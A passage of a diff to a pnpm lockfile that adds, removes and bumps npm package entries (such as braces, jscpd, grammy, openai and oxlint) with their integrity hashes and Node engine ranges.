engines: {node: '>=8.9'} + bluebird@3.7.2: resolution: {integrity: sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==} @@ -3512,8 +3824,9 @@ packages: resolution: {integrity: sha512-fy6KJm2RawA5RcHkLa1z/ScpBeA762UF9KmZQxwIbDtRJrgLzM10depAiEQ+CXYcoiqW1/m96OAAoke2nE9EeA==} engines: {node: 18 || 20 || >=22} - browser-or-node@1.3.0: - resolution: {integrity: sha512-0F2z/VSnLbmEeBcUrSuDH5l0HxTXdQQzLjkmBR4cYfvg1zJrKSlmIZFqyFR8oX0NrwPhy3c3HQ6i3OxMbew4Tg==} + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} browser-or-node@3.0.0: resolution: {integrity: sha512-iczIdVJzGEYhP5DqQxYM9Hh7Ztpqqi+CXZpSmX8ALFs9ecXkQIeqRyM6TfxEfMVpwhl3dSuDvxdzzo9sUOIVBQ==} @@ -3537,9 +3850,9 @@ packages: resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} engines: {node: '>= 0.8'} - cac@6.7.14: - resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==} - engines: {node: '>=8'} + cac@7.0.0: + resolution: {integrity: sha512-tixWYgm5ZoOD+3g6UTea91eow5z6AAHaho3g0V9CNSNb45gM8SmflpAc+GRd1InC4AqN/07Unrgp56Y94N9hJQ==} + engines: {node: '>=20.19.0'} cacheable@2.3.2: resolution: {integrity: sha512-w+ZuRNmex9c1TR9RcsxbfTKCjSL0rh1WA5SABbrWprIHeNBdmyQLSYonlDy9gpD+63XT8DgZ/wNh1Smvc9WnJA==} @@ -3580,6 +3893,9 @@ packages: character-entities-legacy@3.0.0: resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + character-parser@2.2.0: + resolution: {integrity: sha512-+UqJQjFEFaTAs3bNsF2j2kEN1baG/zghZbdqoYEDxGZtJo9LBzl1A+m0D4n3qKx8N2FNv8/Xp6yV9mQmBuptaw==} + chmodrp@1.0.2: resolution: {integrity: sha512-TdngOlFV1FLTzU0o1w8MB6/BFywhtLC0SzRTGJU7T9lmdjlCWeMRt1iVo0Ki+ldwNk0BqNiKoc8xpLZEQ8mY1w==} @@ -3615,6 +3931,10 @@ packages: resolution: {integrity: sha512-bXfOC4QcT1tKXGorxL3wbJm6XJPDqEnij2gQ2m7ESQuE+/z9YFIWnl/5RpTiKWbMq3EVKR4fRLJGn6DVfu0mpw==} engines: {node: '>=18.20'} + cli-table3@0.6.5: + resolution: {integrity: sha512-+W/5efTR7y5HRD7gACw9yQjqMVvEMLBHmboM/kPWam+H+Hmyrgjh6YncVKK122YZkXrLudzTuAukUw9FnMf7IQ==} + engines: {node: 10.* || >= 12.*} + cliui@7.0.4: resolution: {integrity: sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==} @@ -3641,6 +3961,10 @@ packages: resolution: {integrity: sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==} hasBin: true + colors@1.4.0: + resolution: {integrity: sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==} + engines: {node: '>=0.1.90'} + combined-stream@1.0.8: resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} engines: {node: '>= 0.8'} @@ -3668,9 +3992,16 @@ packages: resolution: {integrity: sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==} engines: {node: '>=20'} + commander@5.1.0: + resolution: {integrity: sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==} + engines: {node: '>= 6'} + console-control-strings@1.1.0: resolution: {integrity: sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==} + constantinople@4.0.1: + resolution: {integrity: sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==} + content-disposition@0.5.4: resolution: {integrity: sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==} engines: {node: '>= 0.6'} @@ -3694,9 +4025,6 @@ packages: resolution: {integrity: sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==} engines: {node: '>= 0.6'} - core-js@3.48.0: - resolution: {integrity: sha512-zpEHTy1fjTMZCKLHUZoVeylt9XrzaIN2rbPXEt0k+q7JE5CkCZdo6bNq55bn24a69CH7ErAVLKijxJja4fw+UQ==} - core-util-is@1.0.2: resolution: {integrity: sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==} @@ -3810,6 +4138,12 @@ packages: discord-api-types@0.38.40: resolution: {integrity: sha512-P/His8cotqZgQqrt+hzrocp9L8RhQQz1GkrCnC9TMJ8Uw2q0tg8YyqJyGULxhXn/8kxHETN4IppmOv+P2m82lQ==} + discord-api-types@0.38.41: + resolution: {integrity: sha512-yMECyR8j9c2fVTvCQ+Qc24pweYFIZk/XoxDOmt1UvPeSw5tK6gXBd/2hhP+FEAe9Y6ny8pRMaf618XDK4U53OQ==} + + doctypes@1.1.0: + resolution: {integrity: sha512-LLBi6pEqS6Do3EKQ3J0NqHWV5hhb78Pi8vvESYwyOy2c31ZEZVdtitdzsQsKb7878PEERhzUk0ftqGhG6Mz+pQ==} + dom-serializer@2.0.0: resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==} @@ -3961,6 +4295,10 @@ packages: events-universal@1.0.1: resolution: {integrity: sha512-LUd5euvbMLpwOF8m6ivPCbhQeSiYVNb8Vs0fQ8QjXo0JTkEHpz8pxdQf0gStltaPpw0Cca8b39KxvK9cfKRiAw==} + execa@4.1.0: + resolution: {integrity: sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==} + engines: {node: '>=10'} + expect-type@1.3.0: resolution: {integrity: sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==} engines: {node: '>=12.0.0'} @@ -3997,6 +4335,10 @@ packages: fast-fifo@1.3.2: resolution: {integrity: sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==} + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + fast-uri@3.1.0: resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==} @@ -4004,6 +4346,9 @@ packages: resolution: {integrity: sha512-53jIF4N6u/pxvaL1eb/hEZts/cFLWZ92eCfLrNyCI0k38lettCG/Bs40W9pPwoPXyHQlKu2OUbQtiEIZK/J6Vw==} hasBin: true + fastq@1.20.1: + resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} + fd-slicer@1.1.0: resolution: {integrity: sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==} @@ -4032,6 +4377,10 @@ packages: resolution: {integrity: sha512-vqIlNogKeyD3yzrm0yhRMQg8hOVwYcYRfjEoODd49iCprMn4HL85gK3HcykQE53EPIpX3HcAbGA5ELQv216dAQ==} engines: {node: '>=16'} + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + finalhandler@1.3.2: resolution: {integrity: sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==} engines: {node: '>= 0.8'} @@ -4147,6 +4496,14 @@ packages: getpass@0.1.7: resolution: {integrity: sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==} + gitignore-to-glob@0.3.0: + resolution: {integrity: sha512-mk74BdnK7lIwDHnotHddx1wsjMOFIThpLY3cPNniJ/2fA/tlLzHnFxIdR+4sLOu5KGgQJdij4kjJ2RoUNnCNMA==} + engines: {node: '>=4.4 <5 || >=6.9'} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + glob-to-regexp@0.4.1: resolution: {integrity: sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==} @@ -4182,6 +4539,10 @@ packages: resolution: {integrity: sha512-CAAu74SLT+/QCg40FBhUuYJalVsxxCN3D0c31TzhFBsWWTdXrMXYjGsKngBdfvN6hQ/VzHczluj/ugZVetFNCQ==} engines: {node: ^12.20.0 || >=14.13.1} + grammy@1.41.1: + resolution: {integrity: sha512-wcHAQ1e7svL3fJMpDchcQVcWUmywhuepOOjHUHmMmWAwUJEIyK5ea5sbSjZd+Gy1aMpZeP8VYJa+4tP+j1YptQ==} + engines: {node: ^12.20.0 || >=14.13.1} + has-flag@4.0.0: resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} engines: {node: '>=8'} @@ -4277,6 +4638,10 @@ packages: resolution: {integrity: sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==} engines: {node: '>= 14'} + human-signals@1.1.1: + resolution: {integrity: sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==} + engines: {node: '>=8.12.0'} + iconv-lite@0.4.24: resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} engines: {node: '>=0.10.0'} @@ -4295,8 +4660,9 @@ packages: immediate@3.0.6: resolution: {integrity: sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==} - import-in-the-middle@2.0.6: - resolution: {integrity: sha512-3vZV3jX0XRFW3EJDTwzWoZa+RH1b8eTTx6YOCjglrLyPuepwoBti1k3L2dKwdCUrnVEfc5CuRuGstaC/uQJJaw==} + import-in-the-middle@3.0.0: + resolution: {integrity: sha512-OnGy+eYT7wVejH2XWgLRgbmzujhhVIATQH0ztIeRilwHBjTeG3pD+XnH3PKX0r9gJ0BuJmJ68q/oh9qgXnNDQg==} + engines: {node: '>=18'} import-without-cache@0.2.5: resolution: {integrity: sha512-B6Lc2s6yApwnD2/pMzFh/d5AVjdsDXjgkeJ766FmFuJELIGHNycKRj+l3A39yZPM4CchqNCB4RITEAYB1KUM6A==} @@ -4332,9 +4698,20 @@ packages: ircv3@0.33.0: resolution: {integrity: sha512-7rK1Aial3LBiFycE8w3MHiBBFb41/2GG2Ll/fR2IJj1vx0pLpn1s+78K+z/I4PZTqCCSp/Sb4QgKMh3NMhx0Kg==} + is-core-module@2.16.1: + resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==} + engines: {node: '>= 0.4'} + is-electron@2.2.2: resolution: {integrity: sha512-FO/Rhvz5tuw4MCWkpMzHFKWD2LsfHzIb7i6MdPYZ/KW7AlxawyLkqdy+jPZP1WubqEADE3O4FUENlJHDfQASRg==} + is-expression@4.0.0: + resolution: {integrity: sha512-zMIXX63sxzG3XrkHkrAPvm/OVZVSCPNkwMHU8oTX7/U3AL78I0QXCEICXUM13BIa8TYGZ68PiTKfQz3yaTNr4A==} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + is-fullwidth-code-point@3.0.0: resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} engines: {node: '>=8'} @@ -4343,10 +4720,18 @@ packages: resolution: {integrity: sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==} engines: {node: '>=18'} + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + is-interactive@2.0.0: resolution: {integrity: sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==} engines: {node: '>=12'} + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + is-plain-object@5.0.0: resolution: {integrity: sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==} engines: {node: '>=0.10.0'} @@ -4357,6 +4742,10 @@ packages: is-promise@4.0.0: resolution: {integrity: sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==} + is-regex@1.2.1: + resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==} + engines: {node: '>= 0.4'} + is-stream@2.0.1: resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} engines: {node: '>=8'} @@ -4403,12 +4792,22 @@ packages: jose@4.15.9: resolution: {integrity: sha512-1vUQX+IdDMVPj4k8kOxgUqlcK518yluMuGZwqlr44FS1ppZB/5GWh4rZG89erpOBOJjU/OBsnCVFfapsRz6nEA==} + js-stringify@1.0.2: + resolution: {integrity: sha512-rtS5ATOo2Q5k1G+DADISilDA6lv79zIiwFd6CcjuIxGKLFm5C+RLImRscVap9k55i+MOZwgliw+NejvkLuGD5g==} + js-tokens@10.0.0: resolution: {integrity: sha512-lM/UBzQmfJRo9ABXbPWemivdCW8V2G8FHaHdypQaIy523snUjog0W71ayWXTjiR+ixeMyVHN2XcpnTd/liPg/Q==} jsbn@0.1.1: resolution: {integrity: sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==} + jscpd-sarif-reporter@4.0.6: + resolution: {integrity: sha512-b9Sm3IPZ3+m8Lwa4gZa+4/LhDhlc/ZLEsLXKSOy1DANQ6kx0ueqZT+fUHWEdQ6m0o3+RIVIa7DmvLSojQD05ng==} + + jscpd@4.0.8: + resolution: {integrity: sha512-d2VNT/2Hv4dxT2/59He8Lyda4DYOxPRyRG9zBaOpTZAqJCVf2xLrBlZkT8Va6Lo9u3X2qz8Bpq4HrDi4JsrQhA==} + hasBin: true + jsesc@3.1.0: resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} engines: {node: '>=6'} @@ -4453,6 +4852,9 @@ packages: resolution: {integrity: sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==} engines: {'0': node >=0.6.0} + jstransformer@1.0.0: + resolution: {integrity: sha512-C9YK3Rf8q6VAPDCCU9fnqo3mAfOH6vUGnMcP4AQAYIEpWtfGLpwOTmZ+igtdK5y+VvI2n3CyYSzy4Qh34eq24A==} + jszip@3.10.1: resolution: {integrity: sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==} @@ -4684,13 +5086,16 @@ packages: resolution: {integrity: sha512-BuU2qnTti9YKgK5N+IeMubp14ZUKUUw7yeJbkjtosvHiP0AZ5c8IAgEMk79D0eC8F23r4Ac/q8cAIFdm2FtyoA==} hasBin: true + markdown-table@2.0.0: + resolution: {integrity: sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==} + marked@15.0.12: resolution: {integrity: sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA==} engines: {node: '>= 18'} hasBin: true - marked@17.0.3: - resolution: {integrity: sha512-jt1v2ObpyOKR8p4XaUJVk3YWRJ5n+i4+rjQopxvV32rSndTJXvIzuUdWWIy/1pFQMkQmvTXawzDNqOH/CUmx6A==} + marked@17.0.4: + resolution: {integrity: sha512-NOmVMM+KAokHMvjWmC5N/ZOvgmSWuqJB8FoYI019j4ogb/PeRMKoKIjReZ2w3376kkA8dSJIP8uD993Kxc0iRQ==} engines: {node: '>= 20'} hasBin: true @@ -4719,6 +5124,13 @@ packages: resolution: {integrity: sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==} engines: {node: '>=18'} + merge-stream@2.0.0: + resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + methods@1.1.2: resolution: {integrity: sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==} engines: {node: '>= 0.6'} @@ -4738,6 +5150,10 @@ packages: micromark-util-types@2.0.2: resolution: {integrity: sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==} + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + mime-db@1.52.0: resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} engines: {node: '>= 0.6'} @@ -4759,6 +5175,10 @@ packages: engines: {node: '>=4'} hasBin: true + mimic-fn@2.1.0: + resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} + engines: {node: '>=6'} + mimic-function@5.0.1: resolution: {integrity: sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==} engines: {node: '>=18'} @@ -4877,6 +5297,10 @@ packages: node-readable-to-web-readable-stream@0.4.2: resolution: {integrity: sha512-/cMZNI34v//jUTrI+UIo4ieHAB5EZRY/+7OmXZgBxaWBMcW2tGdceIw06RFxWxrKZ5Jp3sI2i5TsRo+CBhtVLQ==} + node-sarif-builder@3.4.0: + resolution: {integrity: sha512-tGnJW6OKRii9u/b2WiUViTJS+h7Apxx17qsMUjsUeNDiMMX5ZFf8F8Fcz7PAQ6omvOxHZtvDTmOYKJQwmfpjeg==} + engines: {node: '>=20'} + node-wav@0.0.2: resolution: {integrity: sha512-M6Rm/bbG6De/gKGxOpeOobx/dnGuP0dz40adqx38boqHhlWssBJZgLCPBNtb9NkrmnKYiV04xELq+R6PFOnoLA==} engines: {node: '>=4.4.0'} @@ -4897,6 +5321,10 @@ packages: nostr-wasm@0.1.0: resolution: {integrity: sha512-78BTryCLcLYv96ONU8Ws3Q1JzjlAt+43pWQhIl86xZmWeegYCNLPml7yQ+gG3vR6V5h4XGj+TxO+SS5dsThQIA==} + npm-run-path@4.0.1: + resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==} + engines: {node: '>=8'} + npmlog@5.0.1: resolution: {integrity: sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==} deprecated: This package is no longer supported. @@ -4945,6 +5373,10 @@ packages: once@1.4.0: resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} + onetime@5.1.2: + resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} + engines: {node: '>=6'} + onetime@7.0.0: resolution: {integrity: sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==} engines: {node: '>=18'} @@ -4967,8 +5399,8 @@ packages: zod: optional: true - openai@6.25.0: - resolution: {integrity: sha512-mEh6VZ2ds2AGGokWARo18aPISI1OhlgdEIC1ewhkZr8pSIT31dec0ecr9Nhxx0JlybyOgoAT1sWeKtwPZzJyww==} + openai@6.27.0: + resolution: {integrity: sha512-osTKySlrdYrLYTt0zjhY8yp0JUBmWDCN+Q+QxsV4xMQnnoVFpylgKGgxwN8sSdTNw0G4y+WUXs4eCMWpyDNWZQ==} hasBin: true peerDependencies: ws: ^8.18.0 @@ -5001,21 +5433,21 @@ packages: resolution: {integrity: sha512-4/8JfsetakdeEa4vAYV45FW20aY+B/+K8NEXp5Eiar3wR8726whgHrbSg5Ar/ZY1FLJ/AGtUqV7W2IVF+Gvp9A==} engines: {node: '>=20'} - oxfmt@0.35.0: - resolution: {integrity: sha512-QYeXWkP+aLt7utt5SLivNIk09glWx9QE235ODjgcEZ3sd1VMaUBSpLymh6ZRCA76gD2rMP4bXanUz/fx+nLM9Q==} + oxfmt@0.36.0: + resolution: {integrity: sha512-/ejJ+KoSW6J9bcNT9a9UtJSJNWhJ3yOLSBLbkoFHJs/8CZjmaZVZAJe4YgO1KMJlKpNQasrn/G9JQUEZI3p0EQ==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true - oxlint-tsgolint@0.15.0: - resolution: {integrity: sha512-iwvFmhKQVZzVTFygUVI4t2S/VKEm+Mqkw3jQRJwfDuTcUYI5LCIYzdO5Dbuv4mFOkXZCcXaRRh0m+uydB5xdqw==} + oxlint-tsgolint@0.16.0: + resolution: {integrity: sha512-4RuJK2jP08XwqtUu+5yhCbxEauCm6tv2MFHKEMsjbosK2+vy5us82oI3VLuHwbNyZG7ekZA26U2LLHnGR4frIA==} hasBin: true - oxlint@1.50.0: - resolution: {integrity: sha512-iSJ4IZEICBma8cZX7kxIIz9PzsYLF2FaLAYN6RKu7VwRVKdu7RIgpP99bTZaGl//Yao7fsaGZLSEo5xBrI5ReQ==} + oxlint@1.51.0: + resolution: {integrity: sha512-g6DNPaV9/WI9MoX2XllafxQuxwY1TV++j7hP8fTJByVBuCoVtm3dy9f/2vtH/HU40JztcgWF4G7ua+gkainklQ==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true peerDependencies: - oxlint-tsgolint: '>=0.14.1' + oxlint-tsgolint: '>=0.15.0' peerDependenciesMeta: oxlint-tsgolint: optional: true @@ -5099,6 +5531,9 @@ packages: resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} engines: {node: '>=8'} + path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} + path-scurry@1.11.1: resolution: {integrity: sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==} engines: {node: '>=16 || 14 >=14.18'} @@ -5132,6 +5567,10 @@ packages: picocolors@1.1.1: resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + picomatch@4.0.3: resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} engines: {node: '>=12'} @@ -5211,6 +5650,9 @@ packages: process-warning@5.0.0: resolution: {integrity: sha512-a39t9ApHNx2L4+HBnQKqxxHNs1r7KF+Intd8Q/g1bUh6q0WIp9voPXJ/x0j+ZL45KF1pJd9+q2jLIRMfvEshkA==} + promise@7.3.1: + resolution: {integrity: sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==} + proper-lockfile@4.1.2: resolution: {integrity: sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==} @@ -5225,10 +5667,6 @@ packages: resolution: 